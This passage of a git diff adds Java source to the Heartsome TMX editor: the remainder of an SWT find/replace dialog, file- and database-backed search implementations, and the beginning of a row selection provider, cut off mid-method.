SWT.CENTER, false, false, 1, 1)); + replaceWithLabel.setText(Messages.getString("dialog.FindReplaceDialog.replaceWithLabel")); + + replaceTextCombo = new Combo(inputComp, SWT.NONE); + replaceTextCombo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Composite settingComp = new Composite(container, SWT.NONE); + settingComp.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + GridLayout glSettingComp = new GridLayout(2, false); + glSettingComp.marginWidth = 0; + glSettingComp.marginHeight = 0; + settingComp.setLayout(glSettingComp); + + Group directionGroup = new Group(settingComp, SWT.NONE); + directionGroup.setLayout(new GridLayout(1, false)); + directionGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1)); + directionGroup.setText(Messages.getString("dialog.FindReplaceDialog.directionGroup")); + + forwardRadioBtn = new Button(directionGroup, SWT.RADIO); + forwardRadioBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + forwardRadioBtn.setText(Messages.getString("dialog.FindReplaceDialog.forwardButton")); + + backRadioBtn = new Button(directionGroup, SWT.RADIO); + backRadioBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + backRadioBtn.setText(Messages.getString("dialog.FindReplaceDialog.backwardButton")); + + Group rangeGroup = new Group(settingComp, SWT.NONE); + rangeGroup.setLayout(new GridLayout(1, false)); + rangeGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1)); + rangeGroup.setText(Messages.getString("dialog.FindReplaceDialog.rangeGroup")); + + sourceRadioBtn = new Button(rangeGroup, SWT.RADIO); + sourceRadioBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + sourceRadioBtn.setText(Messages.getString("dialog.FindReplaceDialog.sourceButton")); + + targetRadioBtn = new Button(rangeGroup, SWT.RADIO); + targetRadioBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + targetRadioBtn.setText(Messages.getString("dialog.FindReplaceDialog.targetButton")); + + Group optionGroup = new Group(container, SWT.NONE); + optionGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, false, 1, 1)); + optionGroup.setLayout(new GridLayout(2, false)); + optionGroup.setText(Messages.getString("dialog.FindReplaceDialog.optionsGroup")); + + ignoreCaseCheckBtn = new Button(optionGroup, SWT.CHECK); + ignoreCaseCheckBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + ignoreCaseCheckBtn.setText(Messages.getString("dialog.FindReplaceDialog.caseSensitiveButton")); + + wholeWordCheckBtn = new Button(optionGroup, SWT.CHECK); + wholeWordCheckBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + wholeWordCheckBtn.setText(Messages.getString("dialog.FindReplaceDialog.wholeWordButton")); + + regExCheckBtn = new Button(optionGroup, SWT.CHECK); + regExCheckBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + regExCheckBtn.setText(Messages.getString("dialog.FindReplaceDialog.regExButton")); + + Composite btnComp = new Composite(container, SWT.NONE); + GridLayout glBtnComp = new GridLayout(2, false); + glBtnComp.marginHeight = 0; + glBtnComp.marginWidth = 0; + btnComp.setLayout(glBtnComp); + btnComp.setLayoutData(new GridData(SWT.RIGHT, SWT.FILL, false, false, 1, 1)); + + findBtn = new Button(btnComp, SWT.NONE); + GridData gdFindBtn = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gdFindBtn.widthHint = 105; + findBtn.setLayoutData(gdFindBtn); + findBtn.setText(Messages.getString("dialog.FindReplaceDialog.findButton")); + findBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + find(); + } + }); + + replaceFindBtn = new Button(btnComp, SWT.NONE); + GridData gdFindNextBtn = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gdFindNextBtn.widthHint = 105; + replaceFindBtn.setLayoutData(gdFindNextBtn); + replaceFindBtn.setText(Messages.getString("dialog.FindReplaceDialog.findNextButton")); + replaceFindBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + replaceFind(); + } + }); + + replaceBtn = new Button(btnComp, SWT.NONE); + GridData gdReplaceBtn = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gdReplaceBtn.widthHint = 105; + replaceBtn.setLayoutData(gdReplaceBtn); + replaceBtn.setText(Messages.getString("dialog.FindReplaceDialog.replaceButton")); + replaceBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + replace(); + }; + }); + replaceAllBtn = new Button(btnComp, SWT.NONE); + GridData gdReplaceAllBtn = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gdReplaceAllBtn.widthHint = 105; + replaceAllBtn.setLayoutData(gdReplaceAllBtn); + replaceAllBtn.setText(Messages.getString("dialog.FindReplaceDialog.replaceAllButton")); + replaceAllBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + replaceAll(); + } + }); + Composite closeComposite = new Composite(container, SWT.NONE); + GridLayout glCloseCmp = new GridLayout(2, false); + glCloseCmp.marginWidth = 0; + glCloseCmp.marginHeight = 0; + closeComposite.setLayout(glCloseCmp); + closeComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + + statusLabel = new Label(closeComposite, SWT.NONE); + statusLabel.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Button closeBtn = new Button(closeComposite, SWT.NONE); + GridData gdClosebtn = new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1); + gdClosebtn.widthHint = 95; + closeBtn.setLayoutData(gdClosebtn); + closeBtn.setText(IDialogConstants.CLOSE_LABEL); + closeBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + close(); + } + }); + return container; + } + + private boolean find() { + if (tmxEditorImpWithNattable == null || tmxEditorImpWithNattable.isDispose()) { + return false; + } + final String findStr = findTextCombo.getText(); + if (findStr == null || findStr.length() == 0) { + return false; + } + updateCombHistory(findTextCombo); + final boolean[] result = new boolean[] { false }; + BusyIndicator.showWhile(super.getShell().getDisplay(), new Runnable() { + + public void run() { + boolean isForward = forwardRadioBtn.getSelection(); + boolean isFindTarget = targetRadioBtn.getSelection(); + int startRow = 0; + String lang = tmxDataAccess.getCurrSrcLang(); + int findCol = tmxEditorImpWithNattable.getSrcColumnIndex(); + int findOffset = 0; + + int[] rows = tmxEditorImpWithNattable.getSelectedRows(); + if (rows.length != 0) { + startRow = rows[0]; + } + if (isFindTarget) { + lang = tmxDataAccess.getCurrTgtLang(); + findCol = tmxEditorImpWithNattable.getTgtColumnIndex(); + } + + int activeCellCol = TeActiveCellEditor.getColumnIndex(); + CellEditor cellEditor = (CellEditor) TeActiveCellEditor.getCellEditor(); + if (activeCellCol == findCol && cellEditor != null) { + findOffset = cellEditor.getTextViewer().getTextWidget().getCaretOffset(); + findOffset = isForward ? findOffset : findOffset - 1;// back find + findOffset = findOffset < 0 ? 0 : findOffset; + } + FindReasult r = doFind(startRow, findOffset, lang, findStr, isForward, + ignoreCaseCheckBtn.getSelection(), wholeWordCheckBtn.getSelection(), + regExCheckBtn.getSelection()); + if (r == null) { + statusLabel.setText(Messages.getString("dialog.FindReplaceDialog.status1")); + result[0] = false; + return; + } + int rowIndex = tmxDataAccess.getDisplayTuIdentifiers().indexOf(r.getTuIdentifier()); + processFindResult(r, rowIndex, findCol, isForward); + result[0] = true; + } + }); + return result[0]; + } + + private void replace() { + if (tmxEditorImpWithNattable == null || tmxEditorImpWithNattable.isDispose()) { + return; + } + String findStr = findTextCombo.getText(); + if (findStr == null || findStr.length() == 0) { + return; + } + String replaceStr = replaceTextCombo.getText(); + if (replaceStr == null || replaceStr.length() == 0) { + return; + } + CellEditor cellEditor = (CellEditor) TeActiveCellEditor.getCellEditor(); + if (cellEditor != null) { + StyledText text = cellEditor.getTextViewer().getTextWidget(); + String sleText = cellEditor.getTextViewer().getSelectionText(); + if (sleText != null && sleText.toLowerCase().equals(findStr.toLowerCase()) && !sleText.equals(replaceStr)) { + Matcher matcher = PlaceHolderEditModeBuilder.PATTERN.matcher(sleText); + StringBuilder sb = new StringBuilder(); + while (matcher.find()) { + sb.append(matcher.group()); + } + sb.insert(0, replaceStr); + Point p = text.getSelection(); + text.replaceTextRange(p.x, p.y - p.x, sb.toString()); + text.setSelection(p.x, p.x + replaceStr.length()); + TeActiveCellEditor.commitWithoutClose(); + updateCombHistory(replaceTextCombo); + } + } + } + + private void replaceFind() { + if (tmxEditorImpWithNattable == null || tmxEditorImpWithNattable.isDispose()) { + return; + } + final String findStr = findTextCombo.getText(); + if (findStr == null || findStr.length() == 0) { + return; + } + CellEditor cellEditor = (CellEditor) TeActiveCellEditor.getCellEditor(); + if (cellEditor != null) { + String sleText = cellEditor.getTextViewer().getSelectionText(); + if (sleText.isEmpty() || !sleText.toLowerCase().equals(findStr.toLowerCase())) { + find(); + return; + } else { + replace(); + find(); + } + } + } + + private void replaceAll() { + if (tmxEditorImpWithNattable == null || tmxEditorImpWithNattable.isDispose()) { + return; + } + final String findStr = findTextCombo.getText(); + if (findStr == null || findStr.length() == 0) { + return; + } + final String replaceStr = replaceTextCombo.getText(); + if (replaceStr == null || replaceStr.length() == 0) { + return; + } + if (replaceStr.equals(findStr)) { + return; + } + BusyIndicator.showWhile(super.getShell().getDisplay(), new Runnable() { + + public void run() { + boolean isForward = true; + int startRow = 0; + int findOffset = 0; + String lang = tmxDataAccess.getCurrSrcLang(); + int findCol = tmxEditorImpWithNattable.getSrcColumnIndex(); + + boolean isFindTarget = targetRadioBtn.getSelection(); + if (isFindTarget) { + lang = tmxDataAccess.getCurrTgtLang(); + findCol = tmxEditorImpWithNattable.getTgtColumnIndex(); + } + + boolean isIgnoreCase = ignoreCaseCheckBtn.getSelection(); + boolean isWholeWord = wholeWordCheckBtn.getSelection(); + boolean isRegEx = regExCheckBtn.getSelection(); + + FindReasult r = doFind(startRow, findOffset, lang, findStr, true, isIgnoreCase, isWholeWord, isRegEx); + if (r == null) { + statusLabel.setText(Messages.getString("dialog.FindReplaceDialog.status1")); + return; + } + int rowIndex = tmxDataAccess.getDisplayTuIdentifiers().indexOf(r.getTuIdentifier()); + processFindResult(r, rowIndex, findCol, isForward); + replace(); + + int replaceCount = 1; + do { + startRow = rowIndex; + findOffset = r.getRegin().getOffset() + r.getRegin().getLength(); + r = doFind(startRow, findOffset, lang, findStr, true, isIgnoreCase, isWholeWord, isRegEx); + if (r == null) { + break; + } + rowIndex = tmxDataAccess.getDisplayTuIdentifiers().indexOf(r.getTuIdentifier()); + processFindResult(r, rowIndex, findCol, isForward); + replace(); + replaceCount++; + } while (r != null); + String msg = Messages.getString("dialog.FindReplaceDialog.status3"); + statusLabel.setText(MessageFormat.format(msg, replaceCount)); + } + }); + } + + private FindReasult doFind(int startRow, int offset, String lang, String findStr, boolean isForward, + boolean isCaseSensitive, boolean isWholeWord, boolean isRegx) { + if (findImpl == null) { + if (tmxDataAccess instanceof TmxLargeFileDataAccess) { + findImpl = new TmxFileFindReplaceImpl((TmxLargeFileDataAccess) tmxDataAccess); + } else { + findImpl = new TmDBFindReplaceImpl((DatabaseDataAccess) tmxDataAccess); + } + } + findImpl.setSearchStategy(isForward, isCaseSensitive, isWholeWord, isRegx); + FindReasult r = findImpl.find(startRow, offset, lang, findStr); + + return r; + } + + private void processFindResult(FindReasult reasult, int rowIndex, int findCol, boolean isForward) { + if (tmxEditorImpWithNattable == null || tmxEditorImpWithNattable.isDispose()) { + return; + } + statusLabel.setText(""); + + TeActiveCellEditor.commit(); + tmxEditorImpWithNattable.selectCell(findCol, rowIndex); + tmxEditorImpWithNattable.editSelectedCell(); + + CellEditor cellEditor = (CellEditor) TeActiveCellEditor.getCellEditor(); + if (cellEditor != null) { + StyledText text = cellEditor.getTextViewer().getTextWidget(); + IRegion region = reasult.getRegin(); + if (isForward) { + text.setSelection(region.getOffset(), region.getOffset() + region.getLength()); + } else { + text.setSelection(region.getOffset() + region.getLength(), region.getOffset()); + } + } + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return new Point(353, 350); + } + + private void updateCombHistory(Combo combo) { + if (combo == null || combo.isDisposed()) { + return; + } + String value = combo.getText(); + if (value == null || value.length() == 0) { + return; + } + + int index = combo.indexOf(value); + if (index == 0) { + return; + } + if (index != -1) { + combo.remove(index); + } + + int itemCount = combo.getItemCount(); + if (itemCount == 0) { + combo.add(value, 0); + combo.setText(value); + return; + } + combo.add(value, 0); + combo.setText(value); + if (itemCount > 10) { + combo.remove(11); + } + } + + private void writeDialogSettings() { + IDialogSettings ids = getDialogSettings(); + ids.put("nattable.FindReplaceDialog.direction", backRadioBtn.getSelection()); + ids.put("nattable.FindReplaceDialog.range", targetRadioBtn.getSelection()); + ids.put("nattable.FindReplaceDialog.caseSensitive", ignoreCaseCheckBtn.getSelection()); + ids.put("nattable.FindReplaceDialog.wholeWord", wholeWordCheckBtn.getSelection()); + ids.put("nattable.FindReplaceDialog.regEx", regExCheckBtn.getSelection()); + if (findTextCombo != null && !findTextCombo.isDisposed()) { + String[] names = findTextCombo.getItems(); + ids.put("nattable.FindReplaceDialog.findHistory", names); + } + if (replaceTextCombo != null && !replaceTextCombo.isDisposed()) { + String[] names = replaceTextCombo.getItems(); + ids.put("nattable.FindReplaceDialog.replaceHistory", names); + } + } + + private void loadDialogSettings() { + IDialogSettings ids = getDialogSettings(); + boolean blnDirection = ids.getBoolean("nattable.FindReplaceDialog.direction"); + forwardRadioBtn.setSelection(!blnDirection); + backRadioBtn.setSelection(blnDirection); + boolean blnRange = ids.getBoolean("nattable.FindReplaceDialog.range"); + sourceRadioBtn.setSelection(!blnRange); + targetRadioBtn.setSelection(blnRange); + + ignoreCaseCheckBtn.setSelection(ids.getBoolean("nattable.FindReplaceDialog.caseSensitive")); + wholeWordCheckBtn.setSelection(ids.getBoolean("nattable.FindReplaceDialog.wholeWord")); + regExCheckBtn.setSelection(ids.getBoolean("nattable.FindReplaceDialog.regEx")); + if (wholeWordCheckBtn.getSelection() && regExCheckBtn.getSelection()) { + regExCheckBtn.setSelection(false); + } + + String[] arrFindHistory = ids.getArray("nattable.FindReplaceDialog.findHistory"); + if (arrFindHistory != null) { + findTextCombo.setItems(arrFindHistory); + findTextCombo.select(0); + } + + String[] arrReplaceHistory = ids.getArray("nattable.FindReplaceDialog.replaceHistory"); + if (arrReplaceHistory != null) { + replaceTextCombo.setItems(arrReplaceHistory); + replaceTextCombo.select(0); + } + } + + private IDialogSettings getDialogSettings() { + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings fDialogSettings = settings.getSection(getClass().getName()); + if (fDialogSettings == null) + fDialogSettings = settings.addNewSection(getClass().getName()); + return fDialogSettings; + } +} \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/TmDBFindReplaceImpl.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/TmDBFindReplaceImpl.java new file mode 100644 index 0000000..d33ea87 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/TmDBFindReplaceImpl.java @@ -0,0 +1,141 @@ +/** + * TmDBFindReplaceImpl.java + * + * Version information : + * + * Date:2013-8-16 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.search; + +import java.util.List; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.core.tmxdata.DatabaseDataAccess; + +import org.eclipse.jface.text.Region; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmDBFindReplaceImpl extends AbstractFindReplace { + private DatabaseDataAccess dataAccess; + + // private FindData lastFindData; + // private int lastStartRow = -1; + // private List lastTuPks; + + public TmDBFindReplaceImpl(DatabaseDataAccess dataAccess) { + super(dataAccess); + this.dataAccess = dataAccess; + } + + @Override + public FindReasult find(int startRow, int offset, String lang, String findStr) { + List disPkList = dataAccess.getDisplayTuIdentifiers(); + int startPk = Integer.parseInt(disPkList.get(startRow)); + // if (!(lastTuPks != null && lastTuPks.size() != 0 && lastFindData != null && lastStartRow == startRow && + // lastFindData + // .equals(searchForward, caseSensitive, wholeWord, regExSearch, lang, findStr))) { + List lastTuPks = dataAccess.searchText(findStr, lang, startPk, searchForward, caseSensitive, regExSearch); + // } + if (lastTuPks == null || lastTuPks.size() == 0) { + return null; + } + // if (lastFindData == null) { + // lastFindData = new FindData(searchForward, caseSensitive, wholeWord, regExSearch, lang, findStr); + // } + if (searchForward) { + if(lastTuPks.get(0) != startPk){ + offset = -1; + } + for (int i = 0; i < lastTuPks.size(); i++) { + int tuPk = lastTuPks.get(i); + if (!disPkList.contains(tuPk + "")) { + continue; + } + TmxTU tu = dataAccess.getTuByIdentifier(tuPk + ""); + String fullText = null; + if (tu.getSource().getLangCode().equals(lang)) { + fullText = tu.getSource().getFullText(); + } else if (tu.getTarget().getLangCode().equals(lang)) { + fullText = tu.getSource().getFullText(); + } else { + return null; + } + Region r = matchString(offset, fullText, findStr); + if (r != null) { + // lastStartRow = startRow + i; + return new FindReasult(r, tuPk + ""); + } + offset = -1; + } + } else { + if(lastTuPks.get(lastTuPks.size() - 1) != startPk){ + offset = -1; + } + for (int i = lastTuPks.size() - 1; i >= 0; i--) { + int tuPk = lastTuPks.get(i); + if (!disPkList.contains(tuPk + "")) { + continue; + } + TmxTU tu = dataAccess.getTuByIdentifier(tuPk + ""); + String fullText = null; + if (tu.getSource().getLangCode().equals(lang)) { + fullText = tu.getSource().getFullText(); + } else if (tu.getTarget().getLangCode().equals(lang)) { + fullText = tu.getSource().getFullText(); + } else { + return null; + } + Region r = matchString(offset, fullText, findStr); + if (r != null) { + // lastStartRow = startRow - (lastTuPks.size() - 1 - i); + return new FindReasult(r, tuPk + ""); + } + offset = -1; + } + } + return null; + } + + class FindData { + private boolean searchForward = true; + + private boolean caseSensitive; + + private boolean wholeWord; + + private boolean regExSearch; + + private String lang; + private String findStr; + + public FindData(boolean searchForward, boolean caseSensitive, boolean wholeWord, boolean regExSearch, + String lang, String findStr) { + this.searchForward = searchForward; + this.caseSensitive = caseSensitive; + this.wholeWord = wholeWord; + this.regExSearch = regExSearch; + this.lang = lang; + this.findStr = findStr; + } + + public boolean equals(boolean searchForward, boolean caseSensitive, boolean wholeWord, boolean regExSearch, + String lang, String findStr) { + if (this.searchForward == searchForward && this.caseSensitive == caseSensitive + && this.wholeWord == wholeWord && this.regExSearch == regExSearch && this.lang.equals(lang) + && this.findStr.equals(findStr)) { + return true; + } + return false; + } + + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/TmxFileFindReplaceImpl.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/TmxFileFindReplaceImpl.java new file mode 100644 index 0000000..f0ca9d1 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/TmxFileFindReplaceImpl.java @@ -0,0 +1,174 @@ +/** + * TmxEditorFindReplace.java + * + * Version information : + * + * Date:2013-8-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.search; + +import java.util.List; + +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.core.utils.TeCoreUtils; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.jface.text.Region; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; +import com.ximpleware.VTDNav; + +/** + * Find implement with TMX file opened in NatTable + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxFileFindReplaceImpl extends AbstractFindReplace { + + public static final Logger LOGGER = LoggerFactory.getLogger(TmxFileFindReplaceImpl.class); + private TmxLargeFileDataAccess tmxDataAccess; + + public TmxFileFindReplaceImpl(TmxLargeFileDataAccess dataAccess) { + super(dataAccess); + this.tmxDataAccess = dataAccess; + } + + public FindReasult find(int startRow, int offset, String lang, String findStr) { + TmxLargeFileContainer container = (TmxLargeFileContainer) tmxDataAccess.getTmxContainer(); + List tuIdentifier = tmxDataAccess.getDisplayTuIdentifiers(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + try { + List subFiles = container.getSubFiles(); + String tuIdStr = tuIdentifier.get(startRow); + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdStr); + int startf = subFiles.indexOf(strs[0]); + if (searchForward) { + String xpath = "./following::tu/tuv[lower-case(@xml:lang)='" + lang.toLowerCase() + "']/seg"; + for (int i = startf; i < subFiles.size(); i++) { + VTDUtils vu = container.getVTDUtils(subFiles.get(i)); + AutoPilot apTemp = new AutoPilot(vu.getVTDNav()); + apTemp.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + + if (i == startf + && vu.pilot(apTemp, "/tmx/body/tu[@hsid='" + strs[1] + "']/tuv[lower-case(@xml:lang)='" + + lang.toLowerCase() + "']/seg") != -1) { + + } else { + apTemp.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + if (vu.pilot(apTemp,"/tmx/body/tu/tuv[lower-case(@xml:lang)='" + lang.toLowerCase() + "']/seg") == -1) { + continue; + } + } + FindReasult result = forwardReadContent4Match(subFiles.get(i), vu, findStr, offset); + if (result != null) { + return result; + } + ap.bind(vu.getVTDNav()); + ap.selectXPath(xpath); + offset = -1; + while (ap.evalXPath() != -1) { + result = forwardReadContent4Match(subFiles.get(i), vu, findStr, offset); + if (result != null) { + return result; + } + } + } + } else { + String xpath = "tuv[lower-case(@xml:lang)='" + lang.toLowerCase() + "']/seg"; + for (int i = startf; i >= 0; i--) { + VTDUtils vu = container.getVTDUtils(subFiles.get(i)); + AutoPilot apTemp = new AutoPilot(vu.getVTDNav()); + apTemp.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + if (i == startf + && vu.pilot(apTemp, "/tmx/body/tu[@hsid='" + strs[1] + "']/tuv[lower-case(@xml:lang)='" + + lang.toLowerCase() + "']/seg") != -1) { + + } else { + if (vu.pilot(apTemp, "/tmx/body/tu[last()]/tuv[lower-case(@xml:lang)='" + lang.toLowerCase() + "']/seg") == -1) { + continue; + } + } + FindReasult result = forwardReadContent4Match(subFiles.get(i), vu, findStr, offset); + if (result != null) { + return result; + } + ap.bind(vu.getVTDNav()); + ap.selectXPath(xpath); + offset = -1; + + + vu.getVTDNav().toElement(VTDNav.PARENT); + vu.getVTDNav().toElement(VTDNav.PARENT); + // TU + while(vu.getVTDNav().toElement(VTDNav.PREV_SIBLING)){ + vu.getVTDNav().push(); + ap.resetXPath(); + ap.selectXPath(xpath); + if(ap.evalXPath() != -1){ + result = forwardReadContent4Match(subFiles.get(i), vu, findStr, offset); + if (result != null) { + return result; + } + } + vu.getVTDNav().pop(); + } + } + } + } catch (VTDException e) { + LOGGER.error("", e); + } + return null; + } + + /** + * @param vu + * The VTDNav token must at TU's SEG node; + * @param findStr + * target to find in TU; + * @param offset + * the start offset of TU content to begin find + * @return The {@link FindReasult} + * @throws VTDException + * ; + */ + private FindReasult forwardReadContent4Match(String subFile, VTDUtils vu, String findStr, int offset) + throws VTDException { + TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + String text = vu.getElementContent(); + StringBuilder b = new StringBuilder(text); + parser.parseInnerTag(b); + text = TextUtil.resetSpecialString(b.toString()); + if (text == null || text.length() < findStr.length()) { + return null; + } + Region r = matchString(offset, text, findStr); + if (r != null) { + vu.getVTDNav().push(); + vu.getVTDNav().toElement(VTDNav.PARENT); + vu.getVTDNav().toElement(VTDNav.PARENT); + String hsid = vu.getCurrentElementAttribut("hsid", null); + vu.getVTDNav().pop(); + if (hsid != null && hsid.length() != 0) { + String tuIdentifier = subFile + TeCoreConstant.ID_MARK + hsid; + if (tmxDataAccess.getDisplayTuIdentifiers().contains(tuIdentifier)) { + return new FindReasult(r, subFile + TeCoreConstant.ID_MARK + hsid); + } + } + } + return null; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/selection/RowSelectionProvider.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/selection/RowSelectionProvider.java new file mode 100644 index 0000000..4c9f1ba --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/selection/RowSelectionProvider.java @@ -0,0 +1,124 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.selection; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.core.bean.TmxEditorSelection; +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectRowsCommand; +import net.sourceforge.nattable.selection.event.CellSelectionEvent; +import net.sourceforge.nattable.selection.event.ISelectionEvent; +import net.sourceforge.nattable.util.ObjectUtils; + +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; + +public class RowSelectionProvider implements ISelectionProvider, ILayerListener { + + private SelectionLayer selectionLayer; + private final boolean fullySelectedRowsOnly; + private AbstractTmxDataAccess dataAccess; + private Set listeners = new HashSet(); + + public RowSelectionProvider(SelectionLayer selectionLayer, boolean fullySelectedRowsOnly, + AbstractTmxDataAccess dataAccess) { + this.selectionLayer = selectionLayer; + this.fullySelectedRowsOnly = fullySelectedRowsOnly; + this.dataAccess = dataAccess; + selectionLayer.addLayerListener(this); + } + + public void addSelectionChangedListener(ISelectionChangedListener listener) { + listeners.add(listener); + } + + public ISelection getSelection() { + int[] rowPositions = selectionLayer.getFullySelectedRowPositions(); + if (rowPositions.length > 0) { + Arrays.sort(rowPositions); + int rowPosition = rowPositions[rowPositions.length - 1]; + int rowIndex = selectionLayer.getRowIndexByPosition(rowPosition); + return new StructuredSelection(rowIndex); + } + + return new StructuredSelection(); + } + + public void removeSelectionChangedListener(ISelectionChangedListener listener) { + listeners.remove(listener); + } + + @SuppressWarnings("unchecked") + public void setSelection(ISelection selection) { + if (selectionLayer != null && selection instanceof IStructuredSelection) { + selectionLayer.clear(); + List rowIndexs = ((IStructuredSelection) selection).toList(); + Set rowPositions = new HashSet(); + for (Integer rowIndex : rowIndexs) { + int rowPosition = selectionLayer.getRowPositionByIndex(rowIndex); + rowPositions.add(Integer.valueOf(rowPosition)); + } + selectionLayer.doCommand(new SelectRowsCommand(selectionLayer, 0, ObjectUtils.asIntArray(rowPositions), + false, true)); + } + } + + // private int currentRowPosition = -1; + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof ISelectionEvent) { + // 